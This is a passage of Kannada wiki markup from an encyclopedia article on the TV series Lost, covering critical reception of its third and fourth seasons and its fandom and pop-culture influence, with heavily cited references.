ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ಮತ್ತು ಅವುಗಳಿಗೆ ಸೂಕ್ತ ಉತ್ತರವನ್ನು ನೀಡದ ಸರಣಿಯೆಂದು ವಿಮರ್ಶಿಸಲಾಯಿತು.<ref>ಪೋರ್ಟರ್, ರಿಕ್, (ನವೆಂಬರ್ 8, 2006) "[http://blog.zap2it.com/frominsidethebox/2006/11/lost_yep_thats_.html ''ಲಾಸ್ಟ್'' : ಯೆಪ್, ದಟ್ಸ್ ಎ ಕ್ಲಿಫಾಂಗರ್]," ''Zap2It'' . ಸಪ್ಟೆಂಬರ್ 7, 2007ರಂದು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ಮೊದಲ ಬ್ಲಾಕ್‌ನಲ್ಲಿ ಮುಖ್ಯ ಪಾತ್ರಗಳಿಗೆ ಅವಧಿಯನ್ನು ಸೀಮಿತಗೊಳಿಸಲಾಗಿತ್ತು ಎಂದೂ ಆರೋಪಿಸಲಾಗಿದೆ.<ref>ಮಾರ್ಟಿನ್, ಎಡ್, (ಜನವರಿ 31, 2007) "[http://www.mediavillage.com/jmentr/2007/01/31/jmer-lost-01-31-07 ಎಕ್ಸ್‌ಕ್ಲ್ಯೂಸಿವ್ ಇಂಟರ್‌ವ್ಯೂ! ] {{Webarchive|url=https://web.archive.org/web/20070930185508/http://www.mediavillage.com/jmentr/2007/01/31/jmer-lost-01-31-07 |date=2007-09-30 }}[http://www.mediavillage.com/jmentr/2007/01/31/jmer-lost-01-31-07 ''ಲಾಸ್ಟ್'' ಎಕ್ಸಿಕ್ಯೂಟಿವ್ ಪ್ರೊಡ್ಯುಸರ್ಸ್ ಡಮನ್ ಲಿಂಡೆಲಾಫ್ ಅಂಡ್ ಕಾರ್ಲ್‌ಟನ್ ಕ್ಯೂಸ್] {{Webarchive|url=https://web.archive.org/web/20070930185508/http://www.mediavillage.com/jmentr/2007/01/31/jmer-lost-01-31-07 |date=2007-09-30 }}," ''ಮೀಡಿಯಾವಿಲೇಝ್'' . ಸಪ್ಟೆಂಬರ್ 6, 2007ರಂದು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ಲಾಕ್ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ ಟೆರ್ರಿ ಓಕ್ವಿನ್, ಟಾಮ್ ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿದ ಅತಿಥಿ ನಟ ಎಂ.ಸಿ.ಗೇನೀಗಿಂತ ಕೇವಲ ಎರಡು ಬಾರಿ ಹೆಚ್ಚು, ಅಂದರೆ ಇಪ್ಪತ್ತೆರಡು ಕಂತುಗಳ ಪೈಕಿ ಹದಿಮೂರು ಕಂತುಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದರು. ಹೊಸ ಪಾತ್ರಗಳಾದ ಪೌಲೋ ಮತ್ತು ನಿಕಿ ಜೋಡಿಯು ನಕಾರಾತ್ಮಕವಾಗಿತ್ತು, ಲಿಂಡೆಲಾಫ್ ಹಾಗೂ ಅಭಿಮಾನಿಗಳಿಂದ "ಜಾಗತಿಕ ತಿರಸ್ಕಾರ"ಕ್ಕೆ ಈ ಜೋಡಿಯು ಒಳಗಾಗಿತ್ತು.<ref>ಜೆನ್ಸನ್, ಜೆಫ್ &amp; ಸ್ನೀರ್ಸಮ್, ಡಾನ್, (ಫೆಬ್ರುವರಿ 8, 2007) "[http://www.ew.com/ew/article/0,,20011203_3,00.html ''ಲಾಸ್ಟ್'' ಅಂಡ್ ಫೌಂಡ್]," ''[[ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ವೀಕ್ಲಿ]]'' . ಏಪ್ರಿಲ್‌ 16, 2009ರಂದು ಪತ್ತೆ ಹಚ್ಚಲಾಯಿತು.</ref> ಸೀಸನ್ನನ್ನು ಒಡೆಯುವುದಕ್ಕೆ ಕಾರಣಗಳೆಂದರೆ,<ref>ಗೋಲ್ಡ್‌ಮನ್, ಎರಿಕ್, (ನವೆಂಬರ್ 7, 2007) "[http://uk.tv.ign.com/articles/833/833445p1.html ರೈಟರ್ಸ್ ಸ್ಟ್ರೈಕ್: ಶುಡ್ ''ಲಾಸ್ಟ್'' ಏರ್ ದಿಸ್ ಸೀಸನ್?] {{Webarchive|url=https://web.archive.org/web/20120509232511/http://uk.tv.ign.com/articles/833/833445p1.html |date=2012-05-09 }}," ''[[IGN]]'' .ನವೆಂಬರ್ 8, 2007ರಂದು ಪತ್ತೆಹಚ್ಚಲಾಯಿತು.</ref> ಬಿರುಕಿನ ನಂತರ ಅಮೆರಿಕದ ಟೈಮ್‌ಸ್ಲಾಟ್ ಆರಂಭವಾಗಿದ್ದರಿಂದ ಎಂದೂ ವಿಮರ್ಶಿಸಲಾಗಿದೆ.<ref>ಬ್ರೌನ್‌ಫೀಲ್ಡ್, ರಾಬಿನ್, (ಮಾರ್ಚ್ 28, 2007) "[http://syfyportal.com/news423466.html ನವೀನ್ ಆ‍ಂಡ್ರ್ಯೂಸ್: ''ಲಾಸ್ಟ್'' ಶುಡ್ ಸ್ಟಾರ್ಟ್ ಅರ್ಲಿಯರ್] {{Webarchive|url=https://web.archive.org/web/20071105085054/http://syfyportal.com/news423466.html |date=2007-11-05 }}," ''[[ಸಿಫಿ ಪೋರ್ಟಲ್]]'' . ಸಪ್ಟೆಂಬರ್ 8, 2007 ರಂದು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.</ref> ಕ್ಯೂಸ್ ಹೇಳುವಂತೆ "ಆರು ಕಂತುಗಳ ನಡೆಯಿಂದ ಯಾರೊಬ್ಬರೂ ಖುಷಿಯಾಗಿಲ್ಲ"<ref>[[ಆಸಿಯೆಲೋ, ಮೈಕೆಲ್]], (ನವೆಂಬರ್ 7, 2007) "[http://www.tvguide.com/Ask-Ausiello/071107 ಆಸಿಯೆಲ್ಲೋ ಆನ್ ''ಲಾಸ್ಟ್'' , ''ಬಫ್ಫೀ'' , ''ಹಿರೋಸ್'' , ''ಈಆರ್'' ಂಡ್ ಮೋರ್!]," ''ಟಿವಿ ಗೈಡ್'' . 19 ನವೆಂಬರ್, 2008ರಂದು ಹಿಂಪಡೆದದ್ದು</ref> ಮೊದಲ ಬ್ಲಾಕ್‌ನ ಸಮಸ್ಯೆಗಳಿಂದ ಪಾತ್ರವರ್ಗಗಳನ್ನು ನಿರ್ವಹಿಸಿದ್ದು<ref>ಲಾಖೋನಿಸ್, ಜಾನ್, (ಜುಲೈ 20, 2007) "[http://www.buddytv.com/articles/lost/lost-when-is-an-emmy-snub-not-8505.aspx ''ಲಾಸ್ಟ್'' &nbsp;– ವೆನ್ ಈಸ್ ಎನ್ ಎಮ್ಮೀ ಸ್ನಬ್ ನಾಟ್ ಎ ಸ್ನಬ್?] {{Webarchive|url=https://web.archive.org/web/20121022024807/http://www.buddytv.com/articles/lost/lost-when-is-an-emmy-snub-not-8505.aspx |date=2012-10-22 }}," ''BuddyTV'' . ಸಪ್ಟೆಂಬರ್ 9, 2007 ರಂದು ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> ಕಂತಿನ ಎರಡನೇ ಬ್ಲಾಕನ್ನು ವಿಮರ್ಶಾತ್ಮಕವಾಗಿದೆ.<ref>ಜೆನ್ಸನ್, ಜೆಫ್, (ಮೇ 29, 2007) "[http://www.ew.com/ew/article/0,,20040589,00.html ಫ್ಲ್ಯಾಷ್‌ಫಾರ್ವರ್ಡ್ ಥಿಂಕಿಂಗ್] {{Webarchive|url=https://web.archive.org/web/20121018202146/http://www.ew.com/ew/article/0%2C%2C20040589%2C00.html |date=2012-10-18 }}," ''[[ಎಂಟರ್‌ಟೇನ್‌ಮೆಂಟ್ ವೀಕ್ಲಿ]]'' . ಸಪ್ಟೆಂಬರ್ 7, 2007 ರಂದು ಪತ್ತೆಹಚ್ಚಲಾಯಿತು.</ref> ಹೆಚ್ಚಿನ ಉತ್ತರಗಳು ಪ್ರದರ್ಶನದಲ್ಲಿ ರಚಿಸಲ್ಪಟ್ಟವು<ref>ಪಿಯರ್ಸ್, ಸ್ಕಾಟ್.ಡಿ, (ಮೇ 23, 2007) "[http://deseretnews.com/dn/view/0,1249,660222952,00.html ಈಸ್ ''ಲಾಸ್ಟ್'' ಫೌಂಡ್?] {{Webarchive|url=https://web.archive.org/web/20080725005233/http://deseretnews.com/dn/view/0,1249,660222952,00.html |date=2008-07-25 }}," ''[[ಡೆಸರ್ಟ್ ಮಾರ್ನಿಂಗ್ ನ್ಯೂಸ್]]'' . ಸಪ್ಟೆಂಬರ್ 8, 2007 ರಂದು ಹಿಂತೆಗೆದುಕೊಳ್ಳಲಾಯಿತು.</ref> ಮತ್ತು ನಿಕ್ಕಿ ಹಾಗೂ ಪೌಲ್ ಪಾತ್ರಗಳನ್ನು [[ಸಾಯಿಸಲಾಯಿತು]].<ref>ಮಾಲ್ಕಮ್, ಶವ್ನಾ, (ಮಾರ್ಚ್ 29, 2007) "[http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Todays-News/Lost-Boss-Explains/800011706 ಲಾಸ್ಟ್ ಬಾಸ್ ಎಕ್ಸ್‌ಪ್ಲೇನ್ಸ್ ಲಾಸ್ಟ್ ನೈಟ್ಸ್ ಡಬಲ್ ಡೆಮಿಸ್] {{Webarchive|url=https://web.archive.org/web/20070403095312/http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Todays-News/Lost-Boss-Explains/800011706 |date=2007-04-03 }}," ''ಟಿವಿ ಗೈಡ್'' . ಏಪ್ರಿಲ್‌ 16, 2009ರಂದು ಪತ್ತೆ ಹಚ್ಚಲಾಯಿತು.</ref> ಕಥೆಯು ಎಲ್ಲಿಗೆ ಹೋಗುತ್ತಿದೆ ಎಂಬುದನ್ನು ಕಥೆಗಾರರು ತಿಳಿದಿರುತ್ತಾರೆ ಎಂಬುದನ್ನು ಹೇಳಬಹುದು ಎಂಬುದನ್ನು ಕ್ಯೂಸ್ ಊಹಿಸಿ<ref name="May2010"/> ಮೂರನೇ ಸೀಸನ್ನಿನ ನಂತರ ಮೂರು ಸೀಸನ್ನುಗಳಿಗೆ ಮುಕ್ತಾಯವಾಗಲಿದೆ ಎಂದು ಘೋಷಿಸಿದರು.<ref>ರಿಯಾನ್, ಮಔರೀನ್, (ಜನವರಿ 14, 2007) "[http://featuresblogs.chicagotribune.com/entertainment_tv/2007/01/lost_producers_.html ''ಲಾಸ್ಟ್'' ಪ್ರಡ್ಯುಸರ್ಸ್ ಟಾಕ್ ಅಬೌಟ್ ಸೆಟ್ಟಿಂಗ್ ಎನ್ ಎಂಡ್ ಡೇಟ್ ಆ‍ಯ್೦ಡ್ ಮಚ್ ಮೋರ್]," ''ಶಿಕಾಗೋ ಟ್ರಿಬ್ಯೂನ್'' . ಸಪ್ಟೆಂಬರ್ 6, 2007 ರಂದು ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> ಬುಡ್ಡಿ ಟಿವಿಯ ಡಾನ್ ವಿಲಿಯಮ್ಸ್ ಹೇಳುವಂತೆ "ದಿ ಬಿಗಿನಿಂಗ್ ಆಫ್ ದಿ ಎಂಡ್" ಕಂತು, ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನ ಮೊದಲ ಕಂತು "ವರ್ಷದ ಅತ್ಯಂತ ಕುತೂಹಲ ಭರಿತ ಸೀಸನ್ ಪ್ರೀಮಿಯರ್"ಆಗಿದೆ.<ref>ವಿಲಯಮ್ಸ್, ಡಾನ್, (ಜನವರಿ 31, 2008) "[http://www.buddytv.com/articles/lost/lost-episode-41-the-beginning-16266.aspx ''ಲಾಸ್ಟ್'' : ಎಪಿಸೋಡ್ 4.1 'ದಿ ಬಿಗಿನಿಂಗ್ ಆಫ್ ದಿ ಎಂಡ್ ಲೈವ್ ಥಾಟ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20080201214041/http://www.buddytv.com/articles/lost/lost-episode-41-the-beginning-16266.aspx |date=2008-02-01 }}", BuddyTV. ಜನವರಿ 31, 2008 ರಂದು ಪತ್ತೆಹಚ್ಚಲಾಗಿದೆ.</ref> ''ಟಿವಿ ಗೈಡ್‌'' ನ ಮೈಕೆಲ್ ಆಸಿಯೆಲ್ಲೋರವರು ''ಲಾಸ್ಟ್‌'' ನ ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನ ಅಂತಿಮ ಗಂಟೆಗಳನ್ನು "ಟೆಲೆವಿಷನ್‌ನ ಎಲ್ಲ ವರ್ಷಗಳ ಅತೀ ಹೆಚ್ಚು ಕುತೂಹಲ ಭರಿತ 60 ನಿಮಿಷವಾಗಿದೆ".<nowiki></nowiki><ref>ಆಸಿಯೆಲ್ಲೋ, ಮೈಕೆಲ್, (ಏಪ್ರಿಲ್ 11, 2008) "[http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Ausiello-Report/Ausiello-Scoop-Lostgreys/800037370 ಇಟ್ಸ್ ಆಫಿಶಿಯಲ್: ''ಲಾಸ್ಟ್'' ಫೈಂಡ್ಸ್ ಎಕ್ಸ್‌ಟ್ರಾ ಹವರ್... ] {{Webarchive|url=https://web.archive.org/web/20081104100334/http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Ausiello-Report/Ausiello-Scoop-Lostgreys/800037370 |date=2008-11-04 }}[http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Ausiello-Report/Ausiello-Scoop-Lostgreys/800037370 ಬಟ್ ದೆರ್ ಈಸ್ ಎ ಟ್ವಿಸ್ಟ್!] {{Webarchive|url=https://web.archive.org/web/20081104100334/http://community.tvguide.com/blog-entry/TVGuide-Editors-Blog/Ausiello-Report/Ausiello-Scoop-Lostgreys/800037370 |date=2008-11-04 }}", {1ಟಿವಿ ಗೈಡ್{/1}. ಜುಲೈ 8, 2008 ರಂದು ಪತ್ತೆಹಚ್ಚಲಾಗಿದೆ.</ref> ಅಮೆರಿಕದ ವಿಮರ್ಶಕರು "ದಿ ಬಿಗಿನಿಂಗ್ ಆಫ್ ದಿ ಎಂಡ್" ಮತ್ತು "ಕನ್‌ಫರ್ಮ್‌ಡ್ ಡೆಡ್" ಸರಣಿಯ ಸ್ಕ್ರೀನರ್ ಡಿವಿಡಿಯನ್ನು ಕಳುಹಿಸಿದರು.<ref>ಗುಡ್‌ಮನ್, ಟಿಮ್, (ಜನವರಿ 30, 2008) "[http://www.sfgate.com/cgi-bin/article.cgi?file=/c/a/2008/01/30/DDAFUO57I.DTL ವಾಂಟ್ ಟು ಗೆಟ್ ''ಲಾಸ್ಟ್'' ? ][http://www.sfgate.com/cgi-bin/article.cgi?file=/c/a/2008/01/30/DDAFUO57I.DTL ಸೀಸನ್ನು ಆರಂಭಗೊಳ್ಳುವುದಕ್ಕೆ ಅಲ್ಲಿ ಇನ್ನೂ ಸಮಯವಿದೆ]", ''[[ಸ್ಯಾನ್ ಫ್ರಾನ್ಸಿಸ್ಕೋ ಕ್ರಾನಿಕಲ್]]'' . 2008ರ ಫೆಬ್ರುವರಿ 6ರಂದು ಪುನರ್ಪಡೆದದ್ದು.</ref> 87ರಲ್ಲಿನ ಆರಿಸಿದ ಹನ್ನೆರಡು ವಿಮರ್ಶಾತ್ಮಕ ವರದಿಯ ಪರಿಣಾಮದ ಆಧಾರದ ಮೇಲೆ ''ಮೆಟಾಕ್ರಿಟಿಕ್'' ಮೆಟಾಸ್ಕೋರ‍ನ್ನು ಕೊಟ್ಟಿತು.<ref>[[ಮೆಟಾಕ್ರಿಟಿಕ್]], (ಜನವರಿ 31, 2008) "[http://www.metacritic.com/tv/shows/lostseasonfour ''ಲಾಸ್ಟ್'' (ಎಬಿಸಿ): ಸೀಸನ್ 4]". ಫೆಬ್ರವರಿ 16, 2007ರಲ್ಲಿ ಮರು ಸಂಪಾದನೆ.</ref> [[ಎಚ್‌ಬಿಓ]]ನ ''[[ದ ವೈರ್‌]]'' ನ [[ಐದನೆಯ ಮತ್ತು ಅಂತಿಮ ಸೀಸನ್ನಿನ]] ನಂತರ [[2007-2008ರ ಟೆಲೆವಿಷನ್ ಸೀಸನ್ನಿನಲ್ಲಿ]] ಎರಡನೇ ಗರಿಷ್ಠ ಮೆಟಾಸ್ಕೋರನ್ನು ಲಾಸ್ಟ್ ಗಳಿಸಿದೆ.<ref>ಮೆಟಾಕ್ರಿಟಿಕ್, (ಜನವರಿ 6, 2008) "[http://www.metacritic.com/tv/shows/wireseason5 ''ವೈರ್, ದ'' (ಎಚ್‌ಬಿಓ): ಸೀಸನ್ 5]". ಜುಲೈ 8, 2008 ರಂದು ಹಿಂಪಡೆದದ್ದು.</ref> ವೃತ್ತಿನಿರತ ವಿಮರ್ಶಕರ ''ಟಿವಿವೀಕ್'' ಸಂಘಟಿಸಿದ ಸರ್ವೆಯಲ್ಲಿ "ಬೈ ಎ ವೈಡ್ ಮಾರ್ಜಿನ್" 2008ರ ಮೊದಲಾರ್ಧದಲ್ಲಿನ ಉತ್ತಮ ಟೆಲೆವಿಷನ್ ಪ್ರದರ್ಶನವೆಂದು ''ಲಾಸ್ಟ್'' ನಾಮಾಂಕಿತಗೊಂಡಿದೆ. ಪ್ರತೀ ವಿಮರ್ಶಕರ ಸಮರ್ಪಣೆಯಲ್ಲೂ ಮೊದಲ ಐದನೇ ಸ್ಥಾನವನ್ನು ಗಳಿಸಿಕೊಂಡಿದೆ ಮತ್ತು "ನಥಿಂಗ್ ಬಟ್ ಪ್ರೈಸ್‌"ನ್ನು ಗಳಿಸಿಕೊಂಡಿದೆ.<ref>ಕ್ರುಕೋವ್ಸ್ಕಿ, ಆಂಡ್ರ್ಯೂ, (ಜುಲೈ 6, 2008) "[http://www.tvweek.com/news/2008/07/favorites_hold_fast.php ಫೇವರೀಟ್ಸ್ ಹೋಲ್ಡ್ ಪಾಸ್ಟ್] {{Webarchive|url=https://web.archive.org/web/20130329094536/http://www.tvweek.com/news/2008/07/favorites_hold_fast.php |date=2013-03-29 }}", ''ಟಿವಿವೀಕ್'' . ಜುಲೈ 7, 2008 ರಿಂದ ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> ಮೇ 7, 2007ರಂದು 2010ರ ಸರಣಿಯ ಕೊನೆಯ ದಿನವನ್ನು ಮತ್ತು ಫ್ಲ್ಯಾಷ್ ಫಾರ್ವರ್ಡ್‌ಗಳ ಘೋಷಣೆಯನ್ನು ವಿಮರ್ಶಕರ ಮೂಲಕ ಪಡೆಯಲಾಯಿತು.<ref>[[ಎಬಿಸಿ]] ಮೀಡಿಯಾನೆಟ್, (ಮೇ 7, 2007) "[http://abcmedianet.com/web/dnr/dispDNR.aspx?id=050707_01 ''ಲಾಸ್ಟ್'' ಟು ಕನ್‌ಕ್ಲೂಡ್ ಇನ್ 2009-10 ಟೆಲೆವಿಷನ್ ಸೀಸನ್]". ಜುಲೈ 31, 2007 ರಂದು ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> ಜೊತೆಗೆ ಸೀಸನ್ನಿನ ಹೊಸ ಪಾತ್ರಧಾರಿಗಳನ್ನೂ ಘೋಷಿಸಲಾಯಿತು.<ref>ಲಾಕೊನಿಸ್, ಜಾನ್ "DocArzt", (ಪೆಬ್ರುವರಿ13, 2008) "[http://www.ugo.com/tv/lost/?cur=rebecca-mader ರೆಬೆಕಾ ಮೇಡರ್''ಲಾಸ್ಟ್'' ಇಂಟವ್ಯೂ]", ಯುಜಿಓ ನೆಟ್‌ವರ್ಕ್ಸ್. ಮಾರ್ಚ್ 16, 2008 ರಂದು ಹಿಂಪಡೆಯಲಾಗಿದೆ.</ref> === ಅಭಿಮಾನ ಮತ್ತು ಜನಪ್ರಿಯ ಸಂಸ್ಕೃತಿ === [[ಆರಾಧಿಸಲ್ಪಡುವ ಕಿರುತೆರೆ ಸರಣಿ]]ಯಾಗಿರುವ [[ಲಾಸ್ಟ್]] ಸರಣಿಯು ವಿಶೇಷವಾದ ಅಂತರರಾಷ್ಟ್ರೀಯ [[ಅಭಿಮಾನಿ]] ಬಳಗವನ್ನು ರಚಿಸಿದೆ. ''ಲಾಸ್ಟ್‌'' ನ ಅಭಿಮಾನಗಳು ಇದೇ ಸಮಯದಲ್ಲಿ ''ಲಾಸ್ಟವೇಯ್ಸ್'' <ref>{{cite news|url=http://www.signonsandiego.com/uniontrib/20050207/news_lz1b7lost.html| title=Sites in the news: Lostaways|date=2005-02-07|publisher=''The San Diego Union Tribute''|accessdate=2006-08-29}}</ref> ಅಥವಾ ''ಲಾಸ್ಟಿಸ್'' ಎಂದು ಕರೆಯಲ್ಪಟ್ಟ <ref name="ABCpress20050512">{{cite press release|url=http://abcmedianet.com/pressrel/dispDNR.html?id=051205_03|title=ABC Television and Creation Entertainment bring the Official ''Lost'' Fan Club and Special Events to Cities Around the World|publisher=[[American Broadcasting Company|ABC]]| date=2005-05-12| accessdate=2006-08-29}}</ref> ಇವರೆಲ್ಲರೂ ಎಬಿಸಿಯ ಕಾಮಿಕ್-ಕಾನ್ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಮ್ಮೇಳನದಲ್ಲಿ ಒಗ್ಗೂಡಿದ್ದರು.<ref name="ABCpress20050512"/><ref>{{cite news|url=http://www.foxnews.com/story/0,2933,159667,00.html|title=''Lost'' Fans Hold Convention for Show|first=Don|last=Kaplan| date=2005-06-15| publisher=[[FOXNews]]| accessdate=2006-08-29}}</ref> ಆದರೆ ಅಭಿಮಾನಿಗಳನ್ನು ಹೆಚ್ಚಿಸುವಲ್ಲಿ ವೆಬ್‌ಸೈಟುಗಳು, [[ಲಾಸ್ಟ್‌ಪೀಡಿಯಾ]] ಮತ್ತು ಫೋರಮ್‌ಗಳು ಈ ಕಾರ್ಯಕ್ರಮಕ್ಕೆ ಮತ್ತು ಇತರ ಸಂಬಂಧೀ ರೂಪಗಳೂ ಸಹಾಯ ಮಾಡಿವೆ.<ref>{{cite news|url =http://www.sptimes.com/2006/01/10/Floridian/Web_ensnares__Lost__s.shtml| title=Web ensnares ''Lost'' souls|first=Colette|last=Bancroft|date=2006-01-10|publisher=''[[St. Petersburg Times]]''|accessdate=2006-08-29}}</ref><ref>{{cite news|url =http://www.washingtonpost.com/wp-dyn/content/article/2005/12/03/AR2005120300089.html| title=''Lost'' Fans Find A Niche on the Internet|first=Frank|last=Ahrens|date=2005-12-04|publisher=''[[The Washington Post]]''|accessdate=2006-08-29}}</ref><ref name="StPetersburg20060111">{{cite news|url=http://www.detnews.com/apps/pbcs.dll/article?AID=/20060111/ENT02/601110412/1034|title=Fans find ''Lost'' world on Net|first=Colette|last=Bancroft|date=2006-01-11|publisher=''St. Petersburg Times''|accessdate=2006-08-29}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref><ref>{{cite news|url =http://seattletimes.nwsource.com/html/artsentertainment/2002730079_lostgame10.html| title=Fans play TV series ''Lost'' like an interactive video game|first=Jennifer|last=Buckendorff| date =2006-01-10| publisher=''[[The Seattle Times]]''|accessdate=2006-08-29}}</ref> ವಿಶೇಷವಾದ ಅಭಿಮಾನಿ ಚಟುವಟಿಕೆಗಳಾದ [[ಫ್ಯಾನ್ ಫಿಕ್ಷನ್]] ಮತ್ತು ವೀಡಿಯೋಗಳು, ಸಮೀಕರಿಸಿದ ಕಂತಿನ ಟ್ರಾನ್ಸ್‌ಕ್ರಿಪ್ಟ್‌ಗಳು, [[ಹೊರಬರುವ ಮತ್ತು ಸೇರುವ]] ಪಾತ್ರಗಳು ಮತ್ತು ನೆನಪುಕಾಣಿಕೆಗಳ ಸಂಗ್ರಹದಂತಹ ಪ್ರದರ್ಶನದ ವಿಸ್ತಾರದ ಪುರಾಣಶಾಸ್ತ್ರದ ಕಾರಣದಿಂದ, ಇದರ ಅಭಿಮಾನಿ ತಾಣವು ತರ್ಕವನ್ನು ಕೇಂದ್ರೀಕರಿಸಿತು ಮತ್ತು ದ್ವೀಪದ ನಿಗೂಢಗಳನ್ನು ಸೈದ್ಧಾಂತೀಕರಣಗೊಳಿಸಿತು. ವೀಕ್ಷಕರ ಸಂಪೂರ್ಣ ಗಮನವನ್ನು ತನ್ನೆಡೆಗೆ ಕೇಂದ್ರೀಕರಿಸಲು ಮತ್ತು ಅಭಿಮಾನಿಗಳ ಆಸಕ್ತಿಯನ್ನು ಹೆಚ್ಚಿಸಲು ಎಬಿಸಿಯು ಕ್ರಾಸ್-ಮೀಡಿಯಾವನ್ನು ಬಳಸಿಕೊಂಡಿತು ಮತ್ತು ಹೊಸ ಮಾಧ್ಯಮಗಳನ್ನು ಆಗಾಗ ಉಪಯೋಗಿಸಿತು. ''ಲಾಸ್ಟ್‌'' ನ ಅಭಿಮಾನಿಗಳು, ಎಬಿಸಿ ನಿರ್ಮಿಸಿದ ಜಾಲತಾಣದಲ್ಲಿನ ಒಡಂಬಡಿಕೆ, ಕಾದಂಬರಿಯಲ್ಲಿನ ಒಡಂಬಡಿಕೆ, ''ಲಾಸ್ಟ್‌'' ನ ಕ್ರಿಯಾಶೀಲ ತಂಡವನ್ನು ಒಂದು ಅಧಿಕೃತ ಫೊರಮ್ ("ದಿ ಫ್ಯೂಸ್‌ಲೇಗ್") ಪ್ರಾಯೋಜಿಸಿದ, ನಿರ್ಮಾಪಕರಿಂದ "[[ಮಾಬಿಸೋಡ್ಸ್]]"ನ ಪಾಡ್‌ಕಾಸ್ಟ್, ಒಂದು ಅಧಿಕೃತ ನಿಯತಕಾಲಿಕ ಮತ್ತು [[ಪರ್ಯಾಯ ರಿಯಾಲಿಟಿ ಆಟ]]ವಾದ "ದಿ ಲಾಸ್ಟ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್"ನ್ನು ವಿಸ್ತರಿಸಲು ಅಭಿಮಾನಿ ಬಳಗವು ಕಾರಣವಾಯಿತು.<ref name="StPetersburg20060111"/><ref>{{cite news|url =http://www.businessweek.com/magazine/content/06_30/b3994072.htm| title=Network Finds Marketing Paradise with ''Lost''|first=Tom|last=Lowry| date=2006-07-24| publisher=''[[BusinessWeek]]'' Online|accessdate=2006-08-29}}</ref> ಅಧಿಕೃತ ಅಭಿಮಾನಿ ಬಳಗವು 2005ರ ಬೇಸಿಗೆಯಲ್ಲಿ ಕ್ರಿಯೇಶನ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್‌ನಿಂದ ಸ್ಥಾಪನೆಗೊಂಡಿತು.<ref name="ABCpress20050512"/> ಪ್ರದರ್ಶನದ ಜನಪ್ರಿಯತೆಯ ಕಾರಣದಿಂದ, ಸರಣಿಯ ಮತ್ತು ಅದರ ವಸ್ತು ವಿಷಯಗಳಿಂದ [[ವಿಡಂಬನೆ]]ಯಲ್ಲಿ ಮತ್ತು ಜನಪ್ರಿಯ ಸಾಂಸ್ಕೃತಿಕ ನಡವಳಿಕೆಯಲ್ಲೂ ಇದು ಕಾಣಿಸಿಕೊಂಡಿತು. ''[[ವೆರೊನಿಕಾ ಮಾರ್ಸ್]]'' , ''[[ವಿಲ್ ಅಂಡ್ ಗ್ರೇಸ್]]'' , ''[[ಬೋ ಸೆಲೆಕ್ಟಾ]]'' , ''[[ದಿ ಸಾರಾ ಸಿಲ್ರ್ಮೆನ್ ಪ್ರೋಗ್ರಾಮ್]]'' , ''[[ಮೈ ವೈಫ್ ಅಂಡ್ ಕಿಡ್ಸ್]]'' , ''[[ಚಕ್]]'' , ''[[ಕರ್ಬ್ ಯುವರ್ ಎಂಥೂಸಿಯಾಸ್ಮ್]]'' , ''[[ನೋಟ್ಸ್ ಫ್ರಂ ದಿ ಅಂಡರ್ಬೆಲ್ಲೆ ಮತ್ತು ದಿ ಆಫೀಸ್]]'' ಮತ್ತು ''[[ದಿ ಆಫೀಸ್]]'' ಸರಣಿಗಳಲ್ಲಿ, ಜೊತೆಗೆ ಕಾರ್ಟೂನ್‌ಗಳಾದ ''[[ಫ್ಯಾಮಿಲಿ ಗಾಯ್]]'' , ''[[ಅಮೆರಿಕನ್ ಡ್ಯಾಡ್!]]'' , ''[[ಸೌತ್ ಪಾರ್ಕ್]]'' , ''[[ದಿ ಸಿಂಪ್ಸನ್ಸ್]]'' ಮತ್ತು ''[[ದಿ ವೆಂಚರ್ ಬ್ರಾಸ್]]'' ಹಾಗೂ [[ಕೆಎಫ್‌ಸಿ]], [[ಹವಾಯಿ]] ಜಾಹೀರಾತುಗಳಲ್ಲೂ ಲಾಸ್ಟ್‌ನಪ್ರಭಾವವು ಕಾಣಿಸಿಕೊಂಡಿತು. ಹಾಗೂ ''[[ರೆಡ್ ವರ್ಸಸ್ ಬ್ಲೂ]]'' , ''[[ಕಾಮಿಕ್ ವೈಜ್ಞಾನಿಕ ಕಾದಂಬರಿ]]'' ಯಾದ ಎ ''[[ಮೆಕಿನಿಮ]]'' ದ ಕೊನೆಯ 100 ಕಂತುಗಳಲ್ಲಿ, ಸರಣಿಯ ಕೊನೆಯಲ್ಲಿ ಮನರಂಜನೆಯನ್ನು ಹೆಚ್ಚಿಸಿದವು. ರೆಡ್ ವರ್ಸಸ್ ಬ್ಲೂನ ನಿರ್ಮಾಪಪಕರೂ ಸಹಿತ [[ದಿ ಸ್ಟ್ರೇಂಜರ್‌ಹುಡ್]] ಕಂತಿನಲ್ಲಿ ಲಾಸ್ಟ್‌ ಇಂಟ್ರೋವನ್ನು ಬಳಸಿ ಮನರಂಜನೆಯನ್ನು ಹೆಚ್ಚಿಸಿದರು. [[ವಾಲ್ವ್ ಕಾರ್ಪೋರೇಶನ್ನಿನ]] ವೀಡಿಯೋ ಗೇಮ್ ಈಸ್ಟರ್ ಎಗ್‌ ಆಗಿ ಲಾಸ್ಟ್ 